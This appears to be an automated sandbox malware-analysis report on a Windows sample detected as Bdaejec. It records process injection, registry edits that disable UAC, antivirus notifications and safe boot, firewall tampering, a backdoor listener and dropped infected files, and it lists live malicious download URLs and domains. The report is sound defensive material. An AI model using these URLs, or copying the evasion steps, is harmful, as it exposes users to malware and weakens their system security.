Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 470000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: B70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: 94E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: C90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: A10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 130000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: D0000 Jump to behavior
Source: dwm.exe, 00000008.00000000.1281704745.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Managerd
Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: ?Program Manager
Source: explorer.exe, 00000010.00000002.3744492980.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1350688864.0000000000C59000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman
Source: dwm.exe, 00000008.00000000.1282016260.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 0000000B.00000000.1321763723.0000020077A50000.00000002.00000001.00040000.00000000.sdmp, svchost.exe, 0000000C.00000000.1331113947.0000018CE7790000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\dllhost.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133646369926237557.txt VolumeInformation
Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D9652 lstrcpy,CharUpperA,MultiByteToWideChar,RtlEnterCriticalSection,GetLocalTime,GetFileAttributesA,SetFileAttributesA,CreateFileA,GetFileSize,GetFileTime,CreateFileMappingA,MapViewOfFile,lstrcpyn,lstrcmpiA,GlobalAlloc,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,IsBadHugeWritePtr,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,GetTickCount,GlobalAlloc,UnmapViewOfFile,FindCloseChangeNotification,SetFilePointer,SetEndOfFile,WriteFile,GlobalFree,SetFileTime,FindCloseChangeNotification,SetFileAttributesA,DeleteFileA,GlobalFree,RtlLeaveCriticalSection,Sleep, 0_2_029D9652
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D1792 lstrcpy,GetUserNameA,lstrlen,lstrcat,lstrlen,lstrlen,lstrlen,wsprintfA,RegOpenKeyExA,RegCreateKeyA,wsprintfA,lstrcpy,lstrcpy,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey, 0_2_029D1792
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_0048F013 GetVersion,RtlInitializeCriticalSection, 0_2_0048F013

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Users\user\Desktop\a4#Uff09.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride Jump to behavior
Deletes keys which are related to windows safe boot (disables safe mode boot)
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot AlternateShell Jump to behavior
Disables UAC (registry)
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA Jump to behavior
Disables user account control notifications
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc Jump to behavior
Modifies the windows firewall
Source: C:\Users\user\Desktop\a4#Uff09.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile DisableNotifications Jump to behavior
Modifies the windows firewall notifications settings
Source: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile Registry value created: DisableNotifications 1 Jump to behavior
AV process strings found (often used to terminate AV products)
Source: plgMeM.exe, 00000002.00000003.1283746578.00000000015E4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Windows Defender\MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: plgMeM.exe PID: 320, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Bdaejec
Source: Yara match File source: Process Memory Space: plgMeM.exe PID: 320, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D3911 htons,socket,setsockopt,bind,recvfrom,InterlockedExchange,CreateThread,Sleep,closesocket,RtlExitUserThread, 0_2_029D3911
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1467982 Sample: a4#Uff09.exe Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 40 www.careerdesk.org 2->40 42 g2.arrowhitech.com 2->42 44 7 other IPs or domains 2->44 56 Snort IDS alert for network traffic 2->56 58 Malicious sample detected (through community Yara rule) 2->58 60 Antivirus detection for URL or domain 2->60 62 10 other signatures 2->62 8 a4#Uff09.exe 501 168 2->8         started        signatures3 process4 dnsIp5 46 ahmediye.net 78.46.2.155, 49710, 49717, 49723 HETZNER-ASDE Germany 8->46 48 www.careerdesk.org 54.244.188.177, 49707, 49714, 49720 AMAZON-02US United States 8->48 50 2 other IPs or domains 8->50 26 C:\ahcs.pif, PE32 8->26 dropped 28 C:\Users\user\AppData\Local\Temp\vmgr.exe, PE32 8->28 dropped 30 C:\Users\user\AppData\Local\Temp\plgMeM.exe, PE32 8->30 dropped 32 2 other malicious files 8->32 dropped 64 Creates autorun.inf (USB autostart) 8->64 66 Changes security center settings (notifications, updates, antivirus, firewall) 8->66 68 Contains functionality to inject threads in other processes 8->68 70 11 other signatures 8->70 13 plgMeM.exe 18 8->13         started        18 SearchApp.exe 8->18 injected 20 dllhost.exe 7 8->20         started        22 21 other processes 8->22 file6 signatures7 process8 dnsIp9 52 arthur.niria.biz 44.221.84.105, 49706, 49708, 49709 AMAZON-AESUS United States 13->52 34 C:\Program Files\7-Zip\Uninstall.exe, PE32 13->34 dropped 36 C:\Program Files (x86)\AutoIt3\...\SciTE.exe, PE32 13->36 dropped 38 C:\Program Files (x86)\AutoIt3\...\MyProg.exe, MS-DOS 13->38 dropped 72 Multi AV Scanner detection for dropped file 13->72 74 Detected unpacking (changes PE section rights) 13->74 76 Infects executable files (exe, dll, sys, html) 13->76 24 WerFault.exe 13->24         started        54 104.98.116.138, 443, 49705, 49727 AKAMAI-ASN1EU United States 18->54 78 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 18->78 file10 signatures11 process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.98.116.138
 unknown United States
20940 AKAMAI-ASN1EU false
44.221.84.105
 ddos.dnsnb8.net United States
14618 AMAZON-AESUS true
78.46.2.155
 ahmediye.net Germany
24940 HETZNER-ASDE true
54.244.188.177
 www.careerdesk.org United States
16509 AMAZON-02US true
37.230.104.89
 ampyazilim.com.tr Turkey
42807 AEROTEK-ASTR true
85.17.167.196
 unknown Netherlands
60781 LEASEWEB-NL-AMS-01NetherlandsNL false

Contacted Domains

Name IP Active
www.careerdesk.org 54.244.188.177 true
ddos.dnsnb8.net 44.221.84.105 true
ampyazilim.com.tr 37.230.104.89 true
apple-pie.in 44.221.84.105 true
arthur.niria.biz 44.221.84.105 true
ahmediye.net 78.46.2.155 true
amsamex.com unknown unknown
althawry.org unknown unknown
g2.arrowhitech.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ahmediye.net/xs.jpg?1eda9402=881444884 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?1aa9008f=-1611267238 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?8ab49f65=-890217533 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?9c9c7192=505180084 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?873c5f9c=728382888 true
  • Avira URL Cloud: safe
 unknown
http://ddos.dnsnb8.net:799/cj//k3.rar true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?35067=651573 true
  • Avira URL Cloud: phishing
 unknown
http://ahmediye.net/xs.jpg?ca9c78=119504952 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?b7b2679=1155720918 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?35a0bf9=562329530 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?91511b59=-694843203 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?a33c7a9=1540490481 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?fcf9a73d=-355233109 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?ac94a6eb=-1399544085 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?258061e0=109227296 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?84b622e8=-2068438296 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?28f128c=128792484 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?3def25de=761812174 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?9d03c0a4=973570376 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?9bcb84a=326725780 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?fb47c601=-475094010 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?da83e528=-1365045656 true
  • Avira URL Cloud: malware
 unknown
